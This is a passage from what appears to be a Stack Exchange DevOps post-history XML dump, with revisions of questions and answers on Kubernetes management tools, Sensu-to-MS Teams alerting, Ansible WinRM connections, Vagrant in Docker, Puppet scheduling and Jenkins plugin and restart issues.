&quot;production readiness requirements&quot; list, there may actually be very few solutions left that fit the bill.&#xD;&#xA;&#xD;&#xA;Here is the list, in no particular order, of considerations that may be important in case like yours:&#xD;&#xA;&#xD;&#xA;* the tool is mature enough for production use, and deploys production quality (secure, reliable, self-healing) clusters,&#xD;&#xA;* deployed clusters compatibility and conformance - whether upstream Kubernetes is used or a custom build,&#xD;&#xA;* configurability - whether and how the tool limits deployed Kubernetes clusters configuration options; e.g. can you adjusts Kubernetes API server, controller manager, or kubelet configuration options&#xD;&#xA;* whether support is available, for the tool itself, for the clusters deployed through the tool, and for the &quot;borderline&quot; problems - problems for which you cannot be sure whether it is your application running on the cluster, or the cluster itself, or a specific configuration of this cluster,&#xD;&#xA;* cost,&#xD;&#xA;* whether the tool is SaaS or can be installed in your environment, cloud or DC;&#xD;&#xA;* whether the deployment and management are centralized, or each cluster is separate; and whether a &quot;single pane of glass&quot; for your clusters and a single API for cluster management are available;&#xD;&#xA;* management and &quot;day 2 operations&quot; of clusters - updates, upgrades, recovery etc&#xD;&#xA;* if the tool provides centralized features, then how access control management for cluster operations looks like (this is different from Kubernetes RBAC, which is implemented by Kubernetes itself),&#xD;&#xA;* integrations with enterprise IDM for SSO and user federation,&#xD;&#xA;* support for different and heterogeneous target environments - e.g. AWS, GCP, Azure, on-prem, vSphere; and support for different target OS&#xD;&#xA;* uniformity of Kubernetes clusters deployed into different environments: e.g. if your Kubernetes clusters in AWS are deployed using AWS EKS, and Google cloud clusters are GKE, then you may run into a situation when these clusters cannot achieve feature parity due to different set of supported versions, addons etc,&#xD;&#xA;* availability of operations tools like log and metrics collection, visualization, alert and notification management etc.&#xD;&#xA;&#xD;&#xA;In cases where you know for sure that you will stay in one specific cloud, the corresponding cloud provider's managed Kubernetes solution would probably be the first candidate - such as AWS EKS, GCP GKE, and Azure AKS; although it should still be run through the list of your specific requirements.&#xD;&#xA;&#xD;&#xA;In other cases, cloud-agnostic tools should be considered.&#xD;&#xA;&#xD;&#xA;Another consideration to keep in mind is how entangled or integrated your infrastructure management, Kuberletes cluster management, and application operations are going to be with different tools.&#xD;&#xA;Different tools may put different emphasis on different parts of the stack; e.g. some Kubernetes distributions may also provide integrated and/or opinionated application lifecycle management components, or integrated infrastructure/cost management features.&#xD;&#xA;&#xD;&#xA;While integrated solutions may be better in terms of time to market and learning curve; at the same time they may limit your ability to benefit from the latest developments in DevOps/CI/CD technologies.&#xD;&#xA;&#xD;&#xA;I personally lean towards treating Kubernetes as a convenient infrastructure abstraction layer, on top of which not only your applications, but also your DevOps/CI/CD tools, and various managed services (e.g. cloud native storage solution, databases, etc) can run. We have some presentations published on our web site about that: https://kublr.com/register/all-things-kubernetes-online-meetup/&#xD;&#xA;&#xD;&#xA;Talking about specific vendors, I must put a disclaimer here - I am a CTO at Kublr - https://kublr.com/ - an enterprise Kubernetes management solution built around the requirements listed above.&#xD;&#xA;It can be found in the lists of Kubernetes tools mentioned above; you can also schedule a demo on the web site, or get an unlimited non-production version at https://kublr.com/deploy/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27338" PostHistoryTypeId="5" PostId="9279" RevisionGUID="ee7d263e-5f02-4568-b259-ec40ab232619" CreationDate="2019-09-25T18:49:29.827" UserId="40" Comment="remove noise" Text="So, we're transitioning from Slack to MSTeams. I'm tasked with updating our Sensu configuration so that alerts get sent to MSTeams channels instead of Slack channels.&#xD;&#xA;&#xD;&#xA;In the `/etc/sensu/conf.d/handlers.json`, we have Slack notifications configured as follows:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    &quot;slack&quot; : {&#xD;&#xA;        &quot;type&quot;: &quot;pipe&quot;,&#xD;&#xA;        &quot;command&quot;: &quot;handler-slack.rb -j slack&quot;,&#xD;&#xA;        &quot;filters&quot;: [&#xD;&#xA;            &quot;occurrences&quot;&#xD;&#xA;        ]&#xD;&#xA;    },&#xD;&#xA;    ....&#xD;&#xA;&#xD;&#xA;That `-j slack` tells the handler to load a JSON config file which is located at `/etc/sensu/conf.d/slack.d/slack.json`.&#xD;&#xA;&#xD;&#xA;The Teams handler is configured similarly:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    &quot;microsoft-teams&quot; : {&#xD;&#xA;        &quot;type&quot;: &quot;pipe&quot;,&#xD;&#xA;        &quot;command&quot;: &quot;handler-microsoft-teams.rb -j microsoft-teams&quot;,&#xD;&#xA;        &quot;filters&quot;: [&#xD;&#xA;            &quot;occurrences&quot;&#xD;&#xA;        ]&#xD;&#xA;    },&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;But when Sensu tries to pass a notification to the Teams handler, I get an error that leads me to believe that the JSON config wasn't loaded:&#xD;&#xA;&#xD;&#xA;    /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-plugins-microsoft-teams-2.0.0/bin/handler-microsoft-teams.rb:104:in `get_setting': undefined method `[]' for nil:NilClass (NoMethodError)&#xD;&#xA;        from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-plugins-microsoft-teams-2.0.0/bin/handler-microsoft-teams.rb:28:in `payload_template'&#xD;&#xA;        from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-plugins-microsoft-teams-2.0.0/bin/handler-microsoft-teams.rb:108:in `handle'&#xD;&#xA;        from /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/sensu-plugin-2.7.1/lib/sensu-handler.rb:89:in `block in &lt;class:Handler&gt;'&#xD;&#xA;&#xD;&#xA;`payload_template` is the first setting that handler-microsoft-teams.rb attempts to load. It is not specified in my JSON, and the code is written to treat it as optional. &#xD;&#xA;&#xD;&#xA;So, my question is this: how does the Slack plugin go from the string passed to the `-j` argument (`slack`) to the path `/etc/sensu/conf.d/slack.d/slack.json`? And how do I determine the equivalent path magic for the Teams plugin? I don't know if this magic is inherent in Ruby (in which I'm a non-expert), Sensu, sensu-plugins, or something else. I've been digging in code for a while now and I'm coming up empty.&#xD;&#xA;&#xD;&#xA;(Yes, I'm aware of Sensu Go and would like to upgrade; that's not an option on my current timeline.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="27339" PostHistoryTypeId="2" PostId="9283" RevisionGUID="93de182b-a0c0-4288-9b8c-b98a0f97c048" CreationDate="2019-09-25T18:51:24.867" UserId="17283" Text="(Kublr CTO) Take a look at Kublr - https://kublr.com/&#xD;&#xA;&#xD;&#xA;It is designed exactly for a use-case like this: centralized management and operations of multiple Kubernetes clusters in multiple and/or heterogeneous target environments. Currently it supports AWS, Azure, Google Cloud, vSphere, vCloud Director, and on-prem/BYOI (Bring Your Own Infrastructure mode.&#xD;&#xA;&#xD;&#xA;In this response - https://devops.stackexchange.com/a/9281/17283 - I described in more details which requirements we considered important when designing Kublr." ContentLicense="CC BY-SA 4.0" />
  <row Id="27340" PostHistoryTypeId="6" PostId="9260" RevisionGUID="3d7fbce0-42a2-4742-967a-e36f9f51ef77" CreationDate="2019-09-26T01:21:10.903" UserId="8125" Comment="remove &quot;cloud&quot; tag cause question is not generic but specific to GCP" Text="&lt;google-cloud-platform&gt;&lt;permissions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27341" PostHistoryTypeId="24" PostId="9260" RevisionGUID="3d7fbce0-42a2-4742-967a-e36f9f51ef77" CreationDate="2019-09-26T01:21:10.903" Comment="Proposed by 8125 approved by 40, 739 edit id of 1078" ContentLicense="CC BY-SA 4.0" />
  <row Id="27345" PostHistoryTypeId="2" PostId="9285" RevisionGUID="a7855a1b-4aa6-4eb2-a24a-3224c6eada7e" CreationDate="2019-09-26T06:55:53.100" UserId="17289" Text="  **&#xD;&#xA;&#xD;&#xA;&gt; Playbook.yml&#xD;&#xA;&#xD;&#xA;**&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - name: connectionTest&#xD;&#xA;      hosts: Windows&#xD;&#xA;      tasks:&#xD;&#xA;      - name: &quot;Windows Connect&quot;&#xD;&#xA;        win_command: hostname&#xD;&#xA;        register: wincmd_out&#xD;&#xA;&#xD;&#xA;Variable declared in Inventories&#xD;&#xA;Project/inventories/XXX_Local/&#xD;&#xA;&#xD;&#xA;    [Windows]&#xD;&#xA;    XXVMxxxxxxx&#xD;&#xA;&#xD;&#xA;Error Message:&#xD;&#xA;&#xD;&#xA;fatal: [XXVMxxxxxxx]: UNREACHABLE! =&gt; {&#xD;&#xA;    &quot;changed&quot;: false, &#xD;&#xA;    &quot;msg&quot;: &quot;Failed to connect to the host via ssh: OpenSSH_7.4p1, OpenSSL 1.0.2k-fips  26 Jan 2017\r\ndebug1: Reading configuration data /etc/ssh/ssh_config\r\ndebug1: /etc/ssh/ssh_config line 58: Applying options for *\r\ndebug1: auto-mux: Trying existing master\r\ndebug1: Control socket \&quot;/tmp/awx_1636443_S7HHdB/cp/6b18046463\&quot; does not exist\r\ndebug2: resolving \&quot;XXVMxxxxxxx\&quot; port 22\r\nssh: Could not resolve hostname XXVMxxxxxxx: Name or service not known&quot;, &#xD;&#xA;    &quot;unreachable&quot;: true&#xD;&#xA;}&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27346" PostHistoryTypeId="1" PostId="9285" RevisionGUID="a7855a1b-4aa6-4eb2-a24a-3224c6eada7e" CreationDate="2019-09-26T06:55:53.100" UserId="17289" Text="Unable to run the playbook in remote machine using Ansible job template. Connection Failed" ContentLicense="CC BY-SA 4.0" />
  <row Id="27347" PostHistoryTypeId="3" PostId="9285" RevisionGUID="a7855a1b-4aa6-4eb2-a24a-3224c6eada7e" CreationDate="2019-09-26T06:55:53.100" UserId="17289" Text="&lt;ansible&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27348" PostHistoryTypeId="2" PostId="9286" RevisionGUID="211fbbee-bf73-4b9c-ba55-bb9e06ffbfd4" CreationDate="2019-09-26T09:00:56.413" UserId="4852" Text="Looking at your code it seems you try to connect to a Windows host. Usually you connect windows via `WinRM` and not via ssh&#xD;&#xA;&#xD;&#xA;The user guide for this can be found here: https://docs.ansible.com/ansible/latest/user_guide/windows_winrm.html&#xD;&#xA;&#xD;&#xA;&gt; For Ansible to communicate to a Windows host and use Windows modules, the Windows host must meet the following requirements:&#xD;&#xA;&gt;&#xD;&#xA;&gt; - Ansible’s supported Windows versions generally match those under current and extended support from Microsoft. Supported desktop OSs include Windows 7, 8.1, and 10, and supported server OSs are Windows Server 2008, 2008 R2, 2012, 2012 R2, 2016, and 2019.&#xD;&#xA;&gt; - Ansible requires PowerShell 3.0 or newer and at least .NET 4.0 to be installed on the Windows host.&#xD;&#xA;&gt; - A WinRM listener should be created and activated. More details for this can be found below.&#xD;&#xA;&#xD;&#xA;Then you need to tell ansible to connect wia `winrm`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;...&#xD;&#xA;ansible_connection=winrm&#xD;&#xA;...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Checkout the details here: https://www.ansible.com/blog/connecting-to-a-windows-host" ContentLicense="CC BY-SA 4.0" />
  <row Id="27351" PostHistoryTypeId="5" PostId="2212" RevisionGUID="e88f2992-851c-483d-a9b9-e3c66e375c19" CreationDate="2019-09-26T09:47:59.500" UserId="40" Comment="Integrate comments from OPer " Text="I have a Docker image based on Ubuntu Xenial. Inside that container I try to start FreeBSD VM by using Vagrant and VirtualBox (Note: host OS for Docker is VM based on Vagrant and VirtualBox). VM is being provisioned fine, however, Vagrant can not ssh there. I also tried ssh with debug within container: &#xD;&#xA;&#xD;&#xA;    # ssh -vvv -p 2222 vagrant@127.0.0.1&#xD;&#xA;    OpenSSH_7.2p2 Ubuntu-4ubuntu2.2, OpenSSL 1.0.2g  1 Mar 2016&#xD;&#xA;    debug1: Reading configuration data /etc/ssh/ssh_config&#xD;&#xA;    debug1: /etc/ssh/ssh_config line 19: Applying options for *&#xD;&#xA;    debug2: resolving &quot;127.0.0.1&quot; port 2222&#xD;&#xA;    debug2: ssh_connect_direct: needpriv 0&#xD;&#xA;    debug1: Connecting to 127.0.0.1 [127.0.0.1] port 2222.&#xD;&#xA;    debug1: Connection established.&#xD;&#xA;    debug1: permanently_set_uid: 0/0&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_rsa type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_rsa-cert type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_dsa type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_dsa-cert type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_ecdsa type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_ecdsa-cert type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_ed25519 type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_ed25519-cert type -1&#xD;&#xA;    debug1: Enabling compatibility mode for protocol 2.0&#xD;&#xA;    debug1: Local version string SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2&#xD;&#xA;    ssh_exchange_identification: read: Connection reset by peer&#xD;&#xA;&#xD;&#xA;The same from host OS:&#xD;&#xA;&#xD;&#xA;    # ssh -p 1111 vagrant@127.0.0.1&#xD;&#xA;    ssh_exchange_identification: read: Connection reset by peer&#xD;&#xA;&#xD;&#xA;I run container with the next parameters:&#xD;&#xA;&#xD;&#xA;    docker run --privileged -v /dev:/dev -p 1111:2222 vm:latest&#xD;&#xA;&#xD;&#xA;I tried to run lightweight image like it was described [here][1] and everything started successfully. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/zoobab/vagrant-inside-docker&#xD;&#xA;&#xD;&#xA;Any suggestions/ideas regarding it?&#xD;&#xA;&#xD;&#xA;Note: I start a VM in a docker container&#xD;&#xA;because I don't want to make garbage etc within my desktop OS and I don't have a hardware where I could test it. Therefore my approach is to use VM for this.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27352" PostHistoryTypeId="5" PostId="1463" RevisionGUID="7a9d5f81-1c13-4814-8a5e-50af1ba2d8f7" CreationDate="2019-09-26T09:52:41.273" UserId="40" Comment="Improve title" Text="Is there any module which could help to manage policykit rules on puppet for Ubuntu 16.04 instead of putting file on /etc/polkit-1/localauthority/50-local.d ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27353" PostHistoryTypeId="4" PostId="1463" RevisionGUID="7a9d5f81-1c13-4814-8a5e-50af1ba2d8f7" CreationDate="2019-09-26T09:52:41.273" UserId="40" Comment="Improve title" Text="Is there a puppet module to manage policykit rule on Ubuntu 16.04?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27354" PostHistoryTypeId="5" PostId="5979" RevisionGUID="226e327b-c456-463d-8810-2f4f90f1933b" CreationDate="2019-09-26T09:54:51.627" UserId="40" Comment="deleted 11 characters in body" Text="Thanks for the comments. I was able to figure out. I ran the complete command from win_command instead of having the arguments in stdin." ContentLicense="CC BY-SA 4.0" />
  <row Id="27355" PostHistoryTypeId="50" PostId="8954" RevisionGUID="fc042a19-7452-44d9-a37f-37dffeaef964" CreationDate="2019-09-26T10:02:15.310" UserId="-1" />
  <row Id="27356" PostHistoryTypeId="5" PostId="3869" RevisionGUID="9949ce02-0923-4d82-8ef6-9ba7fd1b7551" CreationDate="2019-09-26T10:03:29.210" UserId="40" Comment="Integrate comments from OPer " Text="We have Web Performance monitoring third party Tool. We are using New Relic.&#xD;&#xA;&#xD;&#xA;However, we are not able to monitor either Internal or External Web services.&#xD;&#xA;&#xD;&#xA;In an assumption, if the web service goes unresponsive, we need to get the alert immediately.. before it drops down the production.&#xD;&#xA;&#xD;&#xA;How can we monitor internal or external web services ? Is there a Third party tool available to monitor the web services.&#xD;&#xA;&#xD;&#xA;Note: Web services are not direct user interacting portal. Application invokes the methods in web service to exchange data. There were some scenarios, we faced web service became idle or unresponsive. This immediately affected the Production. In our understanding New Relic supports only interactive web applications." ContentLicense="CC BY-SA 4.0" />
  <row Id="27359" PostHistoryTypeId="5" PostId="4184" RevisionGUID="00c09707-72b5-4bb9-a7da-8bea9c08e190" CreationDate="2019-09-26T11:56:00.403" UserId="40" Comment="fix grammar" Text="I want to run puppet agent only between 11 pm and 4 am, and it should be disabled otherwise. I see runinterval works only from the time puppet service was started.&#xD;&#xA;&#xD;&#xA;Is there any way puppet can be configured to run in particular timeslot?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27360" PostHistoryTypeId="4" PostId="4184" RevisionGUID="00c09707-72b5-4bb9-a7da-8bea9c08e190" CreationDate="2019-09-26T11:56:00.403" UserId="40" Comment="fix grammar" Text="How can I restrict puppet to run in particular time slot?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27364" PostHistoryTypeId="4" PostId="3458" RevisionGUID="4623d7ba-5e17-4160-abad-0b983c20e8e8" CreationDate="2019-09-26T12:12:04.030" UserId="40" Comment="improve title" Text="How to integrate docker-compose or docker run command arguments into SCM and Jenkins build?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27365" PostHistoryTypeId="5" PostId="4386" RevisionGUID="b51b90af-583f-4872-90ad-edafc0f01951" CreationDate="2019-09-26T12:27:58.027" UserId="40" Comment="remove  noise" Text="&#xD;&#xA;We use `Jenkins` for CI. The app is written in `Java`, built with `Maven` (invoked manually in local dev environments and by Jenkins), deployed on various `Tomcat` servers. Nothing unusual about the application stack. Version control is `SVN` for the time being (we're looking at `Git` and I hope that comes soon).&#xD;&#xA;&#xD;&#xA;We have a multi-phase Jenkins job called something like **build.all** which does `svn update` using the Maven plugin and then runs `mvn clean install` from the root dir where the code is checked out by svn. Then, another set of jobs deploys the artifacts made by **build.all** using [deploy plugin][1] by sending them over to the target servers using a Tomcat manager web service. The deploy jobs specify the latest successful build of **build.all** as the source of artifacts to deploy.&#xD;&#xA;&#xD;&#xA;That works great when we are in a single branch mode. The hard setting of **build.all** as the source of artifacts to deploy is what is giving me headaches while trying to support transition periods during which some environments receive deployments from branch X and some from branch Y.&#xD;&#xA;&#xD;&#xA;Without belaboring you with the minutiae of random low level tactics I'm speculating might make this possible -- can you recommend a high level strategy to support parallel artifact builds from different versioning branches? One goal is to not have to change the job source of artifacts to deploy because there is a rather large number of jobs that do deployments and changing them all by hand would be prohibitively labor intensive. For example, is there a way to maintain a key lookup mapping environments with source branches (or references thereof) so if a deployment job starts with *STAGE* or *UAT*, Jenkins looks up which build job (specific to a branch) is mapped to that environment?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Deploy+Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="27369" PostHistoryTypeId="2" PostId="9287" RevisionGUID="b5bd44a6-1955-4e9b-86f3-08e850cb8ed3" CreationDate="2019-09-26T13:42:12.263" UserId="17259" Text="Git Client plugin previously was version was version:3.0.0-rc(beta) which has security vulnerabilities so upgraded to latest version:2.8.6 (latest). But unfortunately all the dependency plugins were still looking for 3.0.0 and believing that 2.8.6 is older version (which was a bug in plugin) are still using older version instead of newer version which caused issue during the upgrade. So tried to revert back but there is not revert back to beta version from 2.8.6 to 3.0.0.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;No Option for revert back to older version: And there is no such version in https://updates.jenkins-ci.org/download/plugins/git-client/ for manual upgrade of Git Client as before one was beta version.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;    Note this problem I faced in my project. So if someone else is also facing similar issue this might help them to resolve.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/RMs12.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/HND3h.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="27370" PostHistoryTypeId="1" PostId="9287" RevisionGUID="b5bd44a6-1955-4e9b-86f3-08e850cb8ed3" CreationDate="2019-09-26T13:42:12.263" UserId="17259" Text="Jenkins Git Client Plugin Issue" ContentLicense="CC BY-SA 4.0" />
  <row Id="27371" PostHistoryTypeId="3" PostId="9287" RevisionGUID="b5bd44a6-1955-4e9b-86f3-08e850cb8ed3" CreationDate="2019-09-26T13:42:12.263" UserId="17259" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27372" PostHistoryTypeId="2" PostId="9288" RevisionGUID="6e629ff0-dce4-4561-add6-43a099020577" CreationDate="2019-09-26T13:42:12.263" UserId="17259" Text="Solutions:&#xD;&#xA;&#xD;&#xA;You have a few choices to resolve the [security issue][1] in git client plugin 3.0.0-rc.&#xD;&#xA;&#xD;&#xA;1) Install git plugin 3.12.1 and git client plugin 2.8.5 from the Jenkins update center  &#xD;&#xA;2) Upload git plugin 3.12.1 and git client plugin 2.8.6 into your Jenkins server from the &quot;Advanced&quot; tab of the &quot;Manage Plugins&quot; page inside &quot;Manage Jenkins&quot;.  &#xD;&#xA;3)Install git plugin 4.0.0-beta11 and git client plugin 3.0.0-beta11 from the Jenkins experimental update center.  &#xD;&#xA;4)Upload git plugin 4.0.0-beta11 and git client plugin 3.0.0-beta11 into your Jenkins server from the &quot;Advanced&quot; tab of the &quot;Manage Plugins&quot; page inside &quot;Manage Jenkins&quot;&#xD;&#xA;&#xD;&#xA;If you choose git plugin 3.12.1, you are choosing the released git plugin and the most stable.&#xD;&#xA;&#xD;&#xA;If you choose git plugin 4.0.0-beta11, you are choosing the most recent pre-release git plugin with more bug fixes than are available in git plugin 3.12.1.&#xD;&#xA;&#xD;&#xA;Reference: [Git Client Plugin][2]&#xD;&#xA;&#xD;&#xA; [GitHub Link][3]&#xD;&#xA;  &#xD;&#xA; [Plugin manual download][4]&#xD;&#xA;&#xD;&#xA;Related Issue : https://issues.jenkins-ci.org/browse/JENKINS-59336 &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/security/advisory/2019-09-12/&#xD;&#xA;  [2]: https://wiki.jenkins.io/display/JENKINS/Git+Client+Plugin#GitClientPlugin-ChangeLog-MovedtoGitHub&#xD;&#xA;  [3]: https://github.com/jenkinsci/git-client-plugin/releases&#xD;&#xA;  [4]: https://updates.jenkins-ci.org/download/plugins/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27378" PostHistoryTypeId="50" PostId="6542" RevisionGUID="76a1dbca-84ae-4f85-b9f1-d0b48ce185ce" CreationDate="2019-09-26T14:02:15.337" UserId="-1" />
  <row Id="27379" PostHistoryTypeId="50" PostId="7970" RevisionGUID="3125ec1a-c070-4f89-a81a-e281e7c0f015" CreationDate="2019-09-26T15:01:35.190" UserId="-1" />
  <row Id="27382" PostHistoryTypeId="50" PostId="6430" RevisionGUID="7c1980df-e059-4ea8-a805-5f092d172fe6" CreationDate="2019-09-26T16:02:30.333" UserId="-1" />
  <row Id="27383" PostHistoryTypeId="2" PostId="9290" RevisionGUID="41216554-43a3-4e99-abf1-41c7a6be1b63" CreationDate="2019-09-26T18:22:22.247" UserId="17305" Text="I have a simple pipeline job with a single stage:&#xD;&#xA;&#xD;&#xA;    timestamps {&#xD;&#xA;        node (&quot;jenkins-slave-small&quot;) {&#xD;&#xA;                stage('Stage 1') {&#xD;&#xA;                    sh &quot;echo 'stage2 echo'; sleep 500s&quot;&#xD;&#xA;                }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am testing whether or not /safeRestart waits for my pipeline to finish executing, but it seems like it's not. &#xD;&#xA;&#xD;&#xA;Logs:&#xD;&#xA;&#xD;&#xA;    [Pipeline] { (Stage 1)&#xD;&#xA;    [Pipeline] sh&#xD;&#xA;    + echo stage2 echo&#xD;&#xA;    stage2 echo&#xD;&#xA;    + sleep 500s&#xD;&#xA;    Resuming build at Thu Sep 26 18:14:18 UTC 2019 after Jenkins restart&#xD;&#xA;    Waiting to resume part of test-folder » test-pipeline-no-parallels #6: Finished waiting&#xD;&#xA;    Ready to run at Thu Sep 26 18:14:55 UTC 2019&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Am I misunderstanding how /safeRestart is supposed to behave or is that the intended behaviour?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27384" PostHistoryTypeId="1" PostId="9290" RevisionGUID="41216554-43a3-4e99-abf1-41c7a6be1b63" CreationDate="2019-09-26T18:22:22.247" UserId="17305" Text="Jenkins safeRestart Does Not Wait For Job to Finish" ContentLicense="CC BY-SA 4.0" />
  <row Id="27385" PostHistoryTypeId="3" PostId="9290" RevisionGUID="41216554-43a3-4e99-abf1-41c7a6be1b63" CreationDate="2019-09-26T18:22:22.247" UserId="17305" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27386" PostHistoryTypeId="2" PostId="9291" RevisionGUID="4e3fd42c-1eda-4864-8ec4-9a90d7d762c3" CreationDate="2019-09-26T18:23:37.843" UserId="17306" Text="I want to restore a deleted Jenkin's job. I had the JobConfig history plugin installed, but it does't have a restore option for that job. It only shows the xml file. I'm wondering how I can restore a Jenkin's job from that xml file.&#xD;&#xA;&#xD;&#xA;[![xml code][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/8Vs0B.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="27387" PostHistoryTypeId="1" PostId="9291" RevisionGUID="4e3fd42c-1eda-4864-8ec4-9a90d7d762c3" CreationDate="2019-09-26T18:23:37.843" UserId="17306" Text="How do I convert xml to a Jenkins Job?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27388" PostHistoryTypeId="3" PostId="9291" RevisionGUID="4e3fd42c-1eda-4864-8ec4-9a90d7d762c3" CreationDate="2019-09-26T18:23:37.843" UserId="17306" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27391" PostHistoryTypeId="2" PostId="9292" RevisionGUID="f89781df-f530-4e47-9581-8d1836576f95" CreationDate="2019-09-26T20:57:50.930" UserId="13111" Text="What your are describing can typically be addressed with a correct inventory design.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[zone1]&#xD;&#xA;serverA&#xD;&#xA;serverB&#xD;&#xA;serverC&#xD;&#xA;&#xD;&#xA;[zone2]&#xD;&#xA;server1&#xD;&#xA;server2&#xD;&#xA;server3&#xD;&#xA;&#xD;&#xA;[zone3]&#xD;&#xA;serverX&#xD;&#xA;serverY&#xD;&#xA;serverZ&#xD;&#xA;&#xD;&#xA;[jenkins_master]&#xD;&#xA;serverA&#xD;&#xA;server1&#xD;&#xA;serverX&#xD;&#xA;&#xD;&#xA;[jenkins_slave]&#xD;&#xA;serverB&#xD;&#xA;serverC&#xD;&#xA;server2&#xD;&#xA;server3&#xD;&#xA;serverY&#xD;&#xA;serverZ&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;From there you can easily:&#xD;&#xA;&#xD;&#xA;- create [plays](https://docs.ansible.com/ansible/latest/user_guide/playbooks.html) that will target a group or a [pattern](https://docs.ansible.com/ansible/latest/user_guide/intro_patterns.html) and that you can limit to an other group or pattern at runtime, e.g. target `jenkins_master` and run the playbook on all of them or limit it to `zone1`.&#xD;&#xA;- create inventory vars for your hosts and groups so that e.g. servers in `zone1` will what is the uri of the master in that zone.&#xD;&#xA;&#xD;&#xA;This is really a very superquick overlook. I suggest you read in depth [working with inventory](https://docs.ansible.com/ansible/latest/user_guide/intro_inventory.html) to get a better understanding of all the inventory concepts and pay attention to the part concerning the [organization of variables in the inventory for groups and hosts](https://docs.ansible.com/ansible/latest/user_guide/intro_inventory.html#organizing-host-and-group-variables)" ContentLicense="CC BY-SA 4.0" />
  <row Id="27395" PostHistoryTypeId="5" PostId="9285" RevisionGUID="4cdc9d56-76fa-47ea-869e-c492eacf5207" CreationDate="2019-09-27T01:47:00.470" UserId="4852" Comment="Formatting" Text="**Playbook.yml**&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - name: connectionTest&#xD;&#xA;      hosts: Windows&#xD;&#xA;      tasks:&#xD;&#xA;      - name: &quot;Windows Connect&quot;&#xD;&#xA;        win_command: hostname&#xD;&#xA;        register: wincmd_out&#xD;&#xA;&#xD;&#xA;Variable declared in Inventories `Project/inventories/XXX_Local/`&#xD;&#xA;&#xD;&#xA;    [Windows]&#xD;&#xA;    XXVMxxxxxxx&#xD;&#xA;&#xD;&#xA;Error Message:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;fatal: [XXVMxxxxxxx]: UNREACHABLE! =&gt; {&#xD;&#xA;    &quot;changed&quot;: false, &#xD;&#xA;    &quot;msg&quot;: &quot;Failed to connect to the host via ssh: OpenSSH_7.4p1, OpenSSL 1.0.2k-fips  26 Jan 2017\r\ndebug1: Reading configuration data /etc/ssh/ssh_config\r\ndebug1: /etc/ssh/ssh_config line 58: Applying options for *\r\ndebug1: auto-mux: Trying existing master\r\ndebug1: Control socket \&quot;/tmp/awx_1636443_S7HHdB/cp/6b18046463\&quot; does not exist\r\ndebug2: resolving \&quot;XXVMxxxxxxx\&quot; port 22\r\nssh: Could not resolve hostname XXVMxxxxxxx: Name or service not known&quot;, &#xD;&#xA;    &quot;unreachable&quot;: true&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
